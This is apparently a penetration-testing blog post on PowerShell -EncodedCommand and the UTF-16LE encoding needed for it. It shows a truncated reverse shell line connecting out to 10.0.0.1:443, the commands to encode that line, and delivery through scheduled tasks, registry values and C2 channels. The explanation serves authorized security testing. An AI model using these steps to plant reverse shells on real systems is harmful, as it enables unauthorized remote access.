PowerShell -EncodedCommand: Why Base64, and the UTF-16 Gotcha
How PowerShell -EncodedCommand works, why testers base64-encode reverse shell payloads to dodge quoting, and the UTF-16LE encoding mistake that breaks it.
If you have tried to deliver a PowerShell reverse shell through cmd.exe, a scheduled task, a web parameter, or a C2 command field, you have met the quoting nightmare: nested quotes, &, |, and < get mangled at every layer. -EncodedCommand exists to make that problem disappear. This post explains what it actually does and the one encoding detail that breaks it for everyone the first time.
What -EncodedCommand Does
powershell -EncodedCommand <base64> (short form -e or -enc) takes a Base64 string, decodes it, and runs the result as a script. Because the entire payload becomes one unbroken blob of A–Z a–z 0–9 + / =, it survives any wrapper that would otherwise choke on quotes and metacharacters. That is the whole point — it is an encoding for transport, not anything more.
To be clear: Base64 is not encryption and not evasion. It is trivially decoded, and PowerShell's script-block logging and AMSI see the decoded script regardless. The reasons to use it are purely practical: avoiding quoting hell and keeping a payload intact through layers that rewrite characters. The detection trade-offs of PowerShell payloads are covered in PowerShell reverse shells.
The UTF-16LE Gotcha
Here is what bites everyone: -EncodedCommand expects Base64 of the script encoded as UTF-16LE (little-endian "Unicode"), not UTF-8. Encode it as UTF-8 and PowerShell either errors or runs garbage.
From Linux, encode correctly with iconv:
PAYLOAD='$c=New-Object System.Net.Sockets.TCPClient("10.0.0.1",443);...'
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w0
Then run on the target:
powershell -e <paste-the-base64-here>
In PowerShell itself, the equivalent is:
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
[Text.Encoding]::Unicode is UTF-16LE in .NET — the matching encoder. Get the encoding right and -EncodedCommand "just works"; get it wrong and you will swear the payload itself is broken when it is not.
When to Use It
- The payload passes through cmd.exe or another shell that mangles quotes.
- You are placing it in a scheduled task, service definition, or registry value.
- It travels through a web field, JSON, or C2 command channel — the same payload quoting problem encoding sidesteps.
For a payload you type directly into a PowerShell prompt, you do not need encoding — paste the plain one-liner.
When It Won't Run
- Wrong encoding — UTF-8 instead of UTF-16LE; the number-one cause.
- Execution policy / Constrained Language Mode — see windows reverse shells.
- Egress filtered — prefer
443/80; test per egress filtering.
Generate It
The reverse shell generator produces the PowerShell payload with your LHOST/LPORT; encode it with the iconv … | base64 step above when the delivery path needs it.
Authorized Testing Only
Use encoded PowerShell payloads only against systems you own or are explicitly authorized to test. Encoding for transport is not evasion, and authorization is what makes the work legitimate.